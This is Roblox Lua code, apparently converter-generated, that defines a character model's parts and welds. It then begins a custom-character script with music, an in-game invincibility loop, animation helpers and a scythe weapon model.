Part253.Name = "Brick"
Part253.Parent = Model111
Part253.Material = Enum.Material.SmoothPlastic
Part253.BrickColor = BrickColor.new("Lapis")
Part253.Rotation = Vector3.new(-171.130005, -90, 0)
Part253.Anchored = true
Part253.CanCollide = false
Part253.FormFactor = Enum.FormFactor.Symmetric
Part253.Size = Vector3.new(0.200000003, 0.200000048, 0.300000042)
Part253.CFrame = CFrame.new(85.1951294, 0.359328985, 69.561882, -4.57742686e-07, 1.889602e-06, -1, 0.154153615, -0.988046944, -1.93757205e-06, -0.988047063, -0.154153585, 1.60981841e-07)
Part253.BottomSurface = Enum.SurfaceType.Smooth
Part253.TopSurface = Enum.SurfaceType.Smooth
Part253.Color = Color3.new(0.0627451, 0.164706, 0.862745)
Part253.Position = Vector3.new(85.1951294, 0.359328985, 69.561882)
Part253.Orientation = Vector3.new(0, -90, 171.130005)
Part253.Color = Color3.new(0.0627451, 0.164706, 0.862745)
BlockMesh254.Parent = Part253
BlockMesh254.Scale = Vector3.new(0.200000003, 0.200000003, 1)
BlockMesh254.Scale = Vector3.new(0.200000003, 0.200000003, 1)
Part255.Name = "Brick"
Part255.Parent = Model111
Part255.Material = Enum.Material.SmoothPlastic
Part255.BrickColor = BrickColor.new("Really black")
Part255.Rotation = Vector3.new(8.86999989, 90, 0)
Part255.Anchored = true
Part255.CanCollide = false
Part255.FormFactor = Enum.FormFactor.Symmetric
Part255.Size = Vector3.new(0.217680693, 3.71122241, 1.16930699)
Part255.CFrame = CFrame.new(84.7666321, 2.1597805, 69.9367294, -4.57742686e-07, -1.8021799e-06, 1, 0.154153615, 0.988046944, 1.85119518e-06, -0.988047063, 0.154153585, -1.74458279e-07)
Part255.BottomSurface = Enum.SurfaceType.Smooth
Part255.TopSurface = Enum.SurfaceType.Smooth
Part255.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part255.Position = Vector3.new(84.7666321, 2.1597805, 69.9367294)
Part255.Orientation = Vector3.new(0, 90, 8.86999989)
Part255.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
BlockMesh256.Parent = Part255
Part257.Name = "Brick"
Part257.Parent = Model111
Part257.Material = Enum.Material.SmoothPlastic
Part257.BrickColor = BrickColor.new("Pastel Blue")
Part257.Reflectance = 0.20000000298023
Part257.Rotation = Vector3.new(90, 90, 0)
Part257.Anchored = true
Part257.CanCollide = false
Part257.FormFactor = Enum.FormFactor.Symmetric
Part257.Size = Vector3.new(0.200000003, 0.75576061, 0.200000003)
Part257.CFrame = CFrame.new(85.2052994, 2.60081959, 71.120018, -1.85120132e-06, -5.99948677e-08, 1, 0.99999994, 2.66171992e-06, 1.85119575e-06, -2.66171992e-06, 0.99999994, 5.99902847e-08)
Part257.BottomSurface = Enum.SurfaceType.Smooth
Part257.TopSurface = Enum.SurfaceType.Smooth
Part257.Color = Color3.new(0.501961, 0.733333, 0.858824)
Part257.Position = Vector3.new(85.2052994, 2.60081959, 71.120018)
Part257.Orientation = Vector3.new(0, 90, 90)
Part257.Color = Color3.new(0.501961, 0.733333, 0.858824)
BlockMesh258.Parent = Part257
BlockMesh258.Scale = Vector3.new(0.25721249, 1, 0.857374966)
BlockMesh258.Scale = Vector3.new(0.25721249, 1, 0.857374966)
Part259.Name = "1"
Part259.Parent = Model111
Part259.Material = Enum.Material.SmoothPlastic
Part259.BrickColor = BrickColor.new("Pastel Blue")
Part259.Reflectance = 0.20000000298023
Part259.Rotation = Vector3.new(90, 90, 0)
Part259.Anchored = true
Part259.CanCollide = false
Part259.FormFactor = Enum.FormFactor.Symmetric
Part259.Size = Vector3.new(0.200000003, 0.881482005, 0.200000003)
Part259.CFrame = CFrame.new(85.1873627, 2.97467303, 71.1199875, -1.85120132e-06, -5.99948677e-08, 1, 0.99999994, 2.66171992e-06, 1.85119575e-06, -2.66171992e-06, 0.99999994, 5.99902847e-08)
Part259.BottomSurface = Enum.SurfaceType.Smooth
Part259.TopSurface = Enum.SurfaceType.Smooth
Part259.Color = Color3.new(0.501961, 0.733333, 0.858824)
Part259.Position = Vector3.new(85.1873627, 2.97467303, 71.1199875)
Part259.Orientation = Vector3.new(0, 90, 90)
Part259.Color = Color3.new(0.501961, 0.733333, 0.858824)
BlockMesh260.Parent = Part259
BlockMesh260.Scale = Vector3.new(0.300000012, 1, 1)
BlockMesh260.Scale = Vector3.new(0.300000012, 1, 1)
Part261.Name = "Brick"
Part261.Parent = Model111
Part261.Material = Enum.Material.SmoothPlastic
Part261.BrickColor = BrickColor.new("Really black")
Part261.Rotation = Vector3.new(-8.86999989, 90, 0)
Part261.Anchored = true
Part261.CanCollide = false
Part261.FormFactor = Enum.FormFactor.Symmetric
Part261.Size = Vector3.new(0.217680693, 3.71122241, 1.16930699)
Part261.CFrame = CFrame.new(84.7666321, 2.15977883, 72.3222961, 3.44653273e-07, -1.81982534e-06, 1, -0.154159606, 0.98804605, 1.85119666e-06, -0.98804605, -0.154159606, 5.99901497e-08)
Part261.BottomSurface = Enum.SurfaceType.Smooth
Part261.TopSurface = Enum.SurfaceType.Smooth
Part261.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part261.Position = Vector3.new(84.7666321, 2.15977883, 72.3222961)
Part261.Orientation = Vector3.new(0, 90, -8.86999989)
Part261.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
BlockMesh262.Parent = Part261
Part263.Name = "Brick"
Part263.Parent = Model111
Part263.Material = Enum.Material.SmoothPlastic
Part263.BrickColor = BrickColor.new("Really black")
Part263.Rotation = Vector3.new(0, 90, 0)
Part263.Anchored = true
Part263.CanCollide = false
Part263.FormFactor = Enum.FormFactor.Symmetric
Part263.Size = Vector3.new(2.0220542, 2.03246331, 0.909533679)
Part263.CFrame = CFrame.new(84.8275146, 2.97960472, 71.1290741, 5.99961609e-08, -1.85120155e-06, 1, -3.37511301e-06, 0.99999994, 1.85119586e-06, -0.99999994, -3.37511301e-06, 5.99902847e-08)
Part263.BottomSurface = Enum.SurfaceType.Smooth
Part263.TopSurface = Enum.SurfaceType.Smooth
Part263.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part263.Position = Vector3.new(84.8275146, 2.97960472, 71.1290741)
Part263.Orientation = Vector3.new(0, 90, 0)
Part263.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
BlockMesh264.Parent = Part263
Part265.Name = "Brick"
Part265.Parent = Model111
Part265.Material = Enum.Material.SmoothPlastic
Part265.BrickColor = BrickColor.new("Lapis")
Part265.Rotation = Vector3.new(171.130005, -90, 0)
Part265.Anchored = true
Part265.CanCollide = false
Part265.FormFactor = Enum.FormFactor.Symmetric
Part265.Size = Vector3.new(0.200000003, 0.200000048, 0.300000042)
Part265.CFrame = CFrame.new(85.1951294, 0.359324932, 72.6971664, 3.44653273e-07, 1.90724722e-06, -1, -0.154159606, -0.98804605, -1.93757319e-06, -0.98804605, 0.154159606, -4.65132004e-08)
Part265.BottomSurface = Enum.SurfaceType.Smooth
Part265.TopSurface = Enum.SurfaceType.Smooth
Part265.Color = Color3.new(0.0627451, 0.164706, 0.862745)
Part265.Position = Vector3.new(85.1951294, 0.359324932, 72.6971664)
Part265.Orientation = Vector3.new(0, -90, -171.130005)
Part265.Color = Color3.new(0.0627451, 0.164706, 0.862745)
BlockMesh266.Parent = Part265
BlockMesh266.Scale = Vector3.new(0.200000003, 0.200000003, 1)
BlockMesh266.Scale = Vector3.new(0.200000003, 0.200000003, 1)
Part267.Name = "Brick"
Part267.Parent = Model111
Part267.Material = Enum.Material.SmoothPlastic
Part267.BrickColor = BrickColor.new("Lapis")
Part267.Rotation = Vector3.new(171.130005, -90, 0)
Part267.Anchored = true
Part267.CanCollide = false
Part267.FormFactor = Enum.FormFactor.Symmetric
Part267.Size = Vector3.new(0.200000003, 0.200000048, 0.200000003)
Part267.CFrame = CFrame.new(85.1451187, 0.752625465, 72.6368942, 3.44653273e-07, 1.90724722e-06, -1, -0.154159606, -0.98804605, -1.93757319e-06, -0.98804605, 0.154159606, -4.65132004e-08)
Part267.BottomSurface = Enum.SurfaceType.Smooth
Part267.TopSurface = Enum.SurfaceType.Smooth
Part267.Color = Color3.new(0.0627451, 0.164706, 0.862745)
Part267.Position = Vector3.new(85.1451187, 0.752625465, 72.6368942)
Part267.Orientation = Vector3.new(0, -90, -171.130005)
Part267.Color = Color3.new(0.0627451, 0.164706, 0.862745)
BlockMesh268.Parent = Part267
BlockMesh268.Scale = Vector3.new(0.200000003, 0.200000003, 1)
BlockMesh268.Scale = Vector3.new(0.200000003, 0.200000003, 1)
Part269.Name = "Brick"
Part269.Parent = Model111
Part269.Material = Enum.Material.SmoothPlastic
Part269.BrickColor = BrickColor.new("Really black")
Part269.Rotation = Vector3.new(0, 90, 0)
Part269.Anchored = true
Part269.CanCollide = false
Part269.FormFactor = Enum.FormFactor.Symmetric
Part269.Size = Vector3.new(1.76480412, 0.974218845, 0.200000003)
Part269.CFrame = CFrame.new(85.182869, 2.57548046, 71.1183243, 5.99961609e-08, -1.85120155e-06, 1, -3.37511301e-06, 0.99999994, 1.85119586e-06, -0.99999994, -3.37511301e-06, 5.99902847e-08)
Part269.BottomSurface = Enum.SurfaceType.Smooth
Part269.TopSurface = Enum.SurfaceType.Smooth
Part269.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part269.Position = Vector3.new(85.182869, 2.57548046, 71.1183243)
Part269.Orientation = Vector3.new(0, 90, 0)
Part269.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
BlockMesh270.Parent = Part269
Part271.Name = "Brick"
Part271.Parent = Model111
Part271.Material = Enum.Material.SmoothPlastic
Part271.BrickColor = BrickColor.new("Really black")
Part271.Rotation = Vector3.new(176.130005, 9.71000004, -179.350006)
Part271.Anchored = true
Part271.CanCollide = false
Part271.FormFactor = Enum.FormFactor.Symmetric
Part271.Size = Vector3.new(1, 0.569770336, 0.200000003)
Part271.CFrame = CFrame.new(84.7381592, 4.22474623, 71.8252945, -0.985605001, 0.0112360846, 0.168690681, -2.17696652e-06, 0.99778825, -0.0664730072, -0.169064477, -0.0655165017, -0.983425081)
Part271.BottomSurface = Enum.SurfaceType.Smooth
Part271.TopSurface = Enum.SurfaceType.Smooth
Part271.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part271.Position = Vector3.new(84.7381592, 4.22474623, 71.8252945)
Part271.Orientation = Vector3.new(3.80999994, 170.270004, 0)
Part271.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
BlockMesh272.Parent = Part271
Part273.Name = "Brick"
Part273.Parent = Model111
Part273.Material = Enum.Material.SmoothPlastic
Part273.BrickColor = BrickColor.new("Really black")
Part273.Rotation = Vector3.new(0, 90, 0)
Part273.Anchored = true
Part273.CanCollide = false
Part273.FormFactor = Enum.FormFactor.Symmetric
Part273.Size = Vector3.new(2.0220542, 2.04569292, 0.909533679)
Part273.CFrame = CFrame.new(84.636734, 2.98868513, 71.1290665, 5.99961609e-08, -1.85120155e-06, 1, -3.37511301e-06, 0.99999994, 1.85119586e-06, -0.99999994, -3.37511301e-06, 5.99902847e-08)
Part273.BottomSurface = Enum.SurfaceType.Smooth
Part273.TopSurface = Enum.SurfaceType.Smooth
Part273.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part273.Position = Vector3.new(84.636734, 2.98868513, 71.1290665)
Part273.Orientation = Vector3.new(0, 90, 0)
Part273.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
BlockMesh274.Parent = Part273
Part275.Name = "Brick"
Part275.Parent = Model111
Part275.Material = Enum.Material.SmoothPlastic
Part275.BrickColor = BrickColor.new("Really black")
Part275.Rotation = Vector3.new(-90, 75.2699966, 90)
Part275.Anchored = true
Part275.CanCollide = false
Part275.FormFactor = Enum.FormFactor.Symmetric
Part275.Size = Vector3.new(0.505757809, 1.79923868, 0.200000003)
Part275.CFrame = CFrame.new(84.115448, 3.10737085, 71.1191025, 5.99961609e-08, -0.254260689, 0.967135847, -3.37511301e-06, 0.967135787, 0.254260719, -0.99999994, -3.27453017e-06, -7.97212124e-07)
Part275.BottomSurface = Enum.SurfaceType.Smooth
Part275.TopSurface = Enum.SurfaceType.Smooth
Part275.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part275.Position = Vector3.new(84.115448, 3.10737085, 71.1191025)
Part275.Orientation = Vector3.new(-14.7299995, 90, 0)
Part275.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
BlockMesh276.Parent = Part275
Part277.Name = "Brick"
Part277.Parent = Model111
Part277.Material = Enum.Material.SmoothPlastic
Part277.BrickColor = BrickColor.new("Navy blue")
Part277.Rotation = Vector3.new(90, 80.4899979, -90)
Part277.Anchored = true
Part277.CanCollide = false
Part277.FormFactor = Enum.FormFactor.Symmetric
Part277.Size = Vector3.new(0.34570837, 0.569770336, 0.200000003)
Part277.CFrame = CFrame.new(83.9343872, 4.21474218, 71.2056961, -8.70278996e-08, 0.165252075, 0.986251473, -4.62681055e-06, 0.986251414, -0.16525206, -0.99999994, -4.57838178e-06, 6.77537173e-07)
Part277.BottomSurface = Enum.SurfaceType.Smooth
Part277.TopSurface = Enum.SurfaceType.Smooth
Part277.Color = Color3.new(0, 0.12549, 0.376471)
Part277.Position = Vector3.new(83.9343872, 4.21474218, 71.2056961)
Part277.Orientation = Vector3.new(9.51000023, 90, 0)
Part277.Color = Color3.new(0, 0.12549, 0.376471)
BlockMesh278.Parent = Part277
Part279.Name = "Brick"
Part279.Parent = Model111
Part279.Material = Enum.Material.SmoothPlastic
Part279.BrickColor = BrickColor.new("Really black")
Part279.Rotation = Vector3.new(0, 90, 0)
Part279.Anchored = true
Part279.CanCollide = false
Part279.FormFactor = Enum.FormFactor.Symmetric
Part279.Size = Vector3.new(0.34570837, 0.569770336, 0.200000003)
Part279.CFrame = CFrame.new(84.1161728, 4.19977188, 71.2057037, -8.70278996e-08, -1.85120132e-06, 1, -4.62681055e-06, 0.99999994, 1.85119541e-06, -0.99999994, -4.62681055e-06, -8.70361063e-08)
Part279.BottomSurface = Enum.SurfaceType.Smooth
Part279.TopSurface = Enum.SurfaceType.Smooth
Part279.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part279.Position = Vector3.new(84.1161728, 4.19977188, 71.2057037)
Part279.Orientation = Vector3.new(0, 90, 0)
Part279.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
BlockMesh280.Parent = Part279
Script281.Name = "Welds"
Script281.Parent = Model0
Script281.Disabled = true
table.insert(cors,sandbox(Script281,function()
wait(.33)
Tool=script.Parent
Nib=Tool.Parent
demodel=function()
for _,v in pairs(script.Parent["RightLeg"]:children()) do
v.Parent=Nib
end
for _,v in pairs(script.Parent["LeftLeg"]:children()) do
v.Parent=Nib
end
for _,v in pairs(script.Parent["Torso"]:children()) do
v.Parent=Nib
end
for _,v in pairs(script.Parent["LeftArm"]:children()) do
v.Parent=Nib
end
for _,v in pairs(script.Parent["RightArm"]:children()) do
v.Parent=Nib
end
end
weldparts=function()
print("Welding")
lel={}
function jarate(p)
for i=1, #p do
table.insert(lel,p[i])
k=p[i]:children()
if #k>0 then
jarate(k)
end
end
end
for _,v in pairs(script.Parent:children()) do
if v.Name~="Cloak" and v.className~="Script" then
v:BreakJoints()
jarate(v:children())
end
end
for _,v in pairs(lel) do
if v.className=="Weld" or v.className=="Motor6D" then
v:Remove()
end
end
for _,v in pairs(script.Parent["RightLeg"]:children()) do
if v.Name~="Right Leg1" then
w=Instance.new("Weld")
w.Part0=script.Parent["RightLeg"]["Right Leg1"]
w.Part1=v
w.C1=v.CFrame:inverse()*CFrame.new(v.Position)
w.C0=script.Parent["RightLeg"]["Right Leg1"].CFrame:inverse()*CFrame.new(v.Position)
w.Parent=w.Part0
end
end
w=Instance.new("Weld")
w.Part0=Nib["Right Leg"]
w.Part1=script.Parent["RightLeg"]["Right Leg1"]
w.Parent=w.Part0
w.C0=CFrame.new(0,-.1,0)
for _,v in pairs(script.Parent["LeftLeg"]:children()) do
if v.Name~="Left Leg1" then
w=Instance.new("Weld")
w.Part0=script.Parent["LeftLeg"]["Left Leg1"]
w.Part1=v
w.C1=v.CFrame:inverse()*CFrame.new(v.Position)
w.C0=script.Parent["LeftLeg"]["Left Leg1"].CFrame:inverse()*CFrame.new(v.Position)
w.Parent=w.Part0
end
end
w=Instance.new("Weld")
w.Part0=Nib["Left Leg"]
w.Part1=script.Parent["LeftLeg"]["Left Leg1"]
w.Parent=w.Part0
w.C0=CFrame.new(0,-.1,0)
for _,v in pairs(script.Parent["RightArm"]:children()) do
if v.Name~="Right Arm1" then
w=Instance.new("Weld")
w.Part0=script.Parent["RightArm"]["Right Arm1"]
w.Part1=v
w.C1=v.CFrame:inverse()*CFrame.new(v.Position)
w.C0=script.Parent["RightArm"]["Right Arm1"].CFrame:inverse()*CFrame.new(v.Position)
w.Parent=w.Part1
end
end
w=Instance.new("Weld")
w.Part0=Nib["Right Arm"]
w.Part1=script.Parent["RightArm"]["Right Arm1"]
w.Parent=w.Part0
w.C0 = w.C0 * CFrame.Angles(0,math.rad(90),math.rad(90))
for _,v in pairs(script.Parent["LeftArm"]:children()) do
if v.Name~="Left Arm1" then
w=Instance.new("Weld")
w.Part0=script.Parent["LeftArm"]["Left Arm1"]
w.Part1=v
w.C1=v.CFrame:inverse()*CFrame.new(v.Position)
w.C0=script.Parent["LeftArm"]["Left Arm1"].CFrame:inverse()*CFrame.new(v.Position)
w.Parent=w.Part0
end
end
w=Instance.new("Weld")
w.Part0=Nib["Left Arm"]
w.Part1=script.Parent["LeftArm"]["Left Arm1"]
w.Parent=w.Part0
for _,v in pairs(script.Parent["Torso"]:children()) do
if v.Name~="Torso1" then
w=Instance.new("Weld")
w.Part0=script.Parent["Torso"]["Torso1"]
w.Part1=v
w.C1=v.CFrame:inverse()*CFrame.new(v.Position)
w.C0=script.Parent["Torso"]["Torso1"].CFrame:inverse()*CFrame.new(v.Position)
w.Parent=script.Parent["Torso"]["Torso1"]
end
end
w=Instance.new("Weld")
w.Part0=Nib["Torso"]
w.Part1=script.Parent["Torso"]["Torso1"]
w.C0=w.C0*CFrame.fromEulerAnglesXYZ(0,0,0)
w.Parent=w.Part0
for _,v in pairs(lel) do
if v:IsA("BasePart") then v.Anchored=false end
end
wait(1)
w=Instance.new("Weld")
w.Part0=Nib.Torso
w.Part1=Tool.Torso.Torso1
w.C0=CFrame.new(0,0,0) * CFrame.fromEulerAnglesXYZ(0,0,math.pi)
w.C1=CFrame.new(0,0,0)
w.Parent=w.Part1
w.Name="ClothingWeld"
wait(.06)
while Tool.Torso.Torso1:FindFirstChild("ClothingWeld")==nil do
wait(.03)
w=Instance.new("Weld")
w.Part0=Nib.Torso
w.Part1=Tool.Torso.Torso1
w.C0=CFrame.new(0,0,0) * CFrame.fromEulerAnglesXYZ(0,0,math.pi)
w.C1=CFrame.new(0,0,0)
w.Parent=w.Part1
w.Name="ClothingWeld"
end
w=Instance.new("Weld")
w.Part0=Nib["Right Leg"]
w.Part1=Tool.RightLeg["Right Leg1"]
w.C0=CFrame.new(0,0,0)
w.C1=CFrame.new(0,0,0)
w.Parent=w.Part1
w.Name="ClothingWeld"
w=Instance.new("Weld")
w.Part0=Nib["Left Leg"]
w.Part1=Tool.LeftLeg["Left Leg1"]
w.C0=CFrame.new(0,0,0)
w.C1=CFrame.new(0,0,0)
w.Parent=w.Part1
w.Name="ClothingWeld"
w=Instance.new("Weld")
w.Part0=Nib["Right Arm"]
w.Part1=Tool.RightArm["Right Arm1"]
w.C0=CFrame.new(0,0,0)
w.C1=CFrame.new(0,0,0)
w.Parent=w.Part1
w.Name="ClothingWeld"
w=Instance.new("Weld")
w.Part0=Nib["Left Arm"]
w.Part1=Tool.LeftArm["Left Arm1"]
w.C0=CFrame.new(0,0,0) * CFrame.fromEulerAnglesXYZ(0,0,math.pi)
w.C1=CFrame.new(0,0,0)
w.Parent=w.Part1
w.Name="ClothingWeld"
wait()
end
weldparts()
wait(.5)
demodel()
end))
for i,v in pairs(mas:GetChildren()) do
v.Parent = game:GetService("Players").LocalPlayer.Character
pcall(function() v:MakeJoints() end)
end
mas:Destroy()
for i,v in pairs(cors) do
spawn(function()
pcall(v)
end)
end
wait(0.5)
player = game.Players.LocalPlayer
char = player.Character
hmnd = char.Humanoid
larm = char["Left Arm"]
rarm = char["Right Arm"]
lleg = char["Left Leg"]
rleg = char["Right Leg"]
torso = char.Torso
mouse = player:GetMouse()
lght = game.Lighting
bdclr = char["Body Colors"]
Neck = torso.Neck
-- More variables, just in case.
Player=game:GetService("Players").LocalPlayer
Character=Player.Character
PlayerGui=Player.PlayerGui
Backpack=Player.Backpack
Torso=Character.Torso
Head=Character.Head
Humanoid=Character.Humanoid
Mouse = player:GetMouse()
m=Instance.new('Model',Character)
LeftArm=Character["Left Arm"]
LeftLeg=Character["Left Leg"]
RightArm=Character["Right Arm"]
RightLeg=Character["Right Leg"]
LS=Torso["Left Shoulder"]
LH=Torso["Left Hip"]
RS=Torso["Right Shoulder"]
RH=Torso["Right Hip"]
Face = Head.face
Neck=Torso.Neck
it=Instance.new
attacktype=1
vt=Vector3.new
cf=CFrame.new
euler=CFrame.fromEulerAnglesXYZ
angles=CFrame.Angles
cloaked=false
necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0)
LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0)
RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0)
RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0)
HDWLD = cf(0,-0.75,-0.45)*angles(0,0,-12.5)
BLDWLD = cf(0,8,0)*angles(0,-44.75,0)
RootPart=Character.HumanoidRootPart
RootJoint=RootPart.RootJoint
RootCF=euler(-1.57,0,3.14)
attack = false
attackdebounce = false
deb=false
equipped=true
hand=false
MMouse=nil
combo=0
mana=0
trispeed=.2
attackmode='none'
local idle=0
local Anim="Idle"
local Effects={}
local gun=false
local shoot=false
player=nil
mana=0
it = Instance.new
-- Music --
z = it("Sound",char)
z.Looped = true
z.Name = "moosik"
z.SoundId = "rbxassetid://940743619"
z.TimePosition = 30
z.Volume = 0
z:Play()
themeBegan = false
wait(0.5)
function fadeInMusic()
while z.Volume < 1 do
wait()
z.Volume = z.Volume + 0.025
end
end
delay(0,fadeInMusic)
function restartMusic()
wait(89.715)
z.TimePosition = 15.375
while true do
wait(104.34)
z.TimePosition = 15.375
end
end
delay(0,restartMusic)
-- Functions --
local inv = function()
while true do
wait()
hmnd.MaxHealth = math.huge
hmnd.Health = math.huge
if char:FindFirstChild("ForceField") == nil then
ff = it("ForceField",char)
ff.Visible = false
end
end
end
delay(0,inv)
local snd = function(id,pitch)
coroutine.resume(coroutine.create(function()
s = Instance.new("Sound",char)
s.SoundId = id
s.Pitch = pitch
s:Play()
game.Debris:AddItem(s)
end))
end
local part = function(name,parent,brkclr,mtrl,rfl,trns,sz)
prt = it("Part",parent)
prt.Name = name
prt.CanCollide = false
prt.BrickColor = BrickColor.new(brkclr)
prt.Material = mtrl
if brkclr == "Black" and mtrl == "Ice" then
prt.Color = Color3.fromRGB(20,20,75)
end
if brkclr == "Black metallic" and mtrl == "SmoothPlastic" then
prt.Color = Color3.fromRGB(25,25,50)
end
prt.Reflectance = rfl
prt.Transparency = trns
prt.Size = sz
prt.Anchored = true
return prt
end
local mesh = function(meshtype,parent,meshid,textureid,scale)
msh = it("SpecialMesh",parent)
if meshtype == "FileMesh" then
msh.MeshId = meshid
msh.TextureId = textureid
end
msh.MeshType = meshtype
msh.Scale = scale
return(msh)
end
local weld = function(part1,part2,x1,y1,z1,x2,y2,z2)
w = it("Weld",part1)
w.Part0 = part1
w.Part1 = part2
if part1.Anchored or part2.Anchored then
part1.Anchored = false
part2.Anchored = false
end
w.C0 = (CFrame.new(x1,y1,z1)*CFrame.Angles(math.rad(z2),math.rad(y2),math.rad(x2)))
return(w)
end
local emit = function(parent,tex,startcolor, endcolor, startsize,endsize,lightem,emdir,lif,rate,speed,rotspeed,sprdang1,sprdang2,locked2part)
emm = it("ParticleEmitter",parent)
emm.Texture = tex
emm.Color = ColorSequence.new({ColorSequenceKeypoint.new(0,startcolor),ColorSequenceKeypoint.new(1,endcolor)})
emm.Size = NumberSequence.new({NumberSequenceKeypoint.new(0,startsize),NumberSequenceKeypoint.new(1,endsize)})
emm.LightEmission = lightem
emm.EmissionDirection = emdir
emm.Lifetime = NumberRange.new(lif)
emm.Rate = rate
emm.Speed = NumberRange.new(speed)
emm.RotSpeed = NumberRange.new(rotspeed)
emm.SpreadAngle = Vector2.new(sprdang1,sprdang2)
emm.LockedToPart = locked2part
return(emm)
end
function clerp(a,b,t)
local qa = {QuaternionFromCFrame(a)}
local qb = {QuaternionFromCFrame(b)}
local ax, ay, az = a.x, a.y, a.z
local bx, by, bz = b.x, b.y, b.z
local _t = 1-t
return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
end
function QuaternionFromCFrame(cf)
local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
local trace = m00 + m11 + m22
if trace > 0 then
local s = math.sqrt(1 + trace)
local recip = 0.5/s
return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
else
local i = 0
if m11 > m00 then
i = 1
end
if m22 > (i == 0 and m00 or m11) then
i = 2
end
if i == 0 then
local s = math.sqrt(m00-m11-m22+1)
local recip = 0.5/s
return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
elseif i == 1 then
local s = math.sqrt(m11-m22-m00+1)
local recip = 0.5/s
return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
elseif i == 2 then
local s = math.sqrt(m22-m00-m11+1)
local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
end
end
end
function QuaternionToCFrame(px, py, pz, x, y, z, w)
local xs, ys, zs = x + x, y + y, z + z
local wx, wy, wz = w*xs, w*ys, w*zs
local xx = x*xs
local xy = x*ys
local xz = x*zs
local yy = y*ys
local yz = y*zs
local zz = z*zs
return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
end
function QuaternionSlerp(a, b, t)
local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
local startInterp, finishInterp;
if cosTheta >= 0.0001 then
if (1 - cosTheta) > 0.0001 then
local theta = math.acos(cosTheta)
local invSinTheta = 1/math.sin(theta)
startInterp = math.sin((1-t)*theta)*invSinTheta
finishInterp = math.sin(t*theta)*invSinTheta
else
startInterp = 1-t
finishInterp = t
end
else
if (1+cosTheta) > 0.0001 then
local theta = math.acos(-cosTheta)
local invSinTheta = 1/math.sin(theta)
startInterp = math.sin((t-1)*theta)*invSinTheta
finishInterp = math.sin(t*theta)*invSinTheta
else
startInterp = t-1
finishInterp = t
end
end
return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
end
local sine = 0
local change = 1
local val = 0
mouse=Player:GetMouse()
RSH, LSH=nil, nil
--welds
RW, LW=Instance.new("Weld"), Instance.new("Weld")
RW.Name="Right Shoulder" LW.Name="Left Shoulder"
LH=Torso["Left Hip"]
RH=Torso["Right Hip"]
TorsoColor=Torso.BrickColor
function NoOut(Part)
Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10
end
player=Player
ch=Character
RSH=ch.Torso["Right Shoulder"]
LSH=ch.Torso["Left Shoulder"]
--
RSH.Parent=nil
LSH.Parent=nil
--
RW.Name="Right Shoulder"
RW.Part0=ch.Torso
RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5)
RW.C1=cf(0, 0.5, 0)
RW.Part1=ch["Right Arm"]
RW.Parent=ch.Torso
--
LW.Name="Left Shoulder"
LW.Part0=ch.Torso
LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8)
LW.C1=cf(0, 0.5, 0)
LW.Part1=ch["Left Arm"]
LW.Parent=ch.Torso
function rayCast(Pos, Dir, Max, Ignore) -- Origin Position , Direction, MaxDistance , IgnoreDescendants
return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore)
end
-- Character Model --
local md = Instance.new("Model",char)
md.Name = "Scythe"
hnd = part("Handle",md,"Black","Marble",0,0,Vector3.new(0.25,1.5,0.25))
hndwld = weld(rarm,hnd,0,0,0,0,0,0)
fhnd = part("FHandle",md,"Black","Granite",0,0,Vector3.new(2,12.5,2))
mesh("Sphere",fhnd,"","",Vector3.new(0.1,1,0.1))
weld(hnd,fhnd,0,3,0,0,0,0)
p = part("Part",md,"Black","Marble",0,0,Vector3.new(0.25,1.5,0.25))
weld(hnd,p,0,2,0,0,0,0)
p = part("Part",md,"Black","Marble",0,0,Vector3.new(0.25,1.5,0.25))
weld(hnd,p,0,4,0,0,0,0)
p = part("Part",md,"Black","Marble",0,0,Vector3.new(0.25,1.5,0.25))
weld(hnd,p,0,6,0,0,0,0)
p = part("Part",md,"Really blue","Neon",0,0,Vector3.new(0.25,0.25,0.25))
mesh("Sphere",p,"","",Vector3.new(1.25,1.25,1.25))
weld(hnd,p,0,7,0,0,0,0)
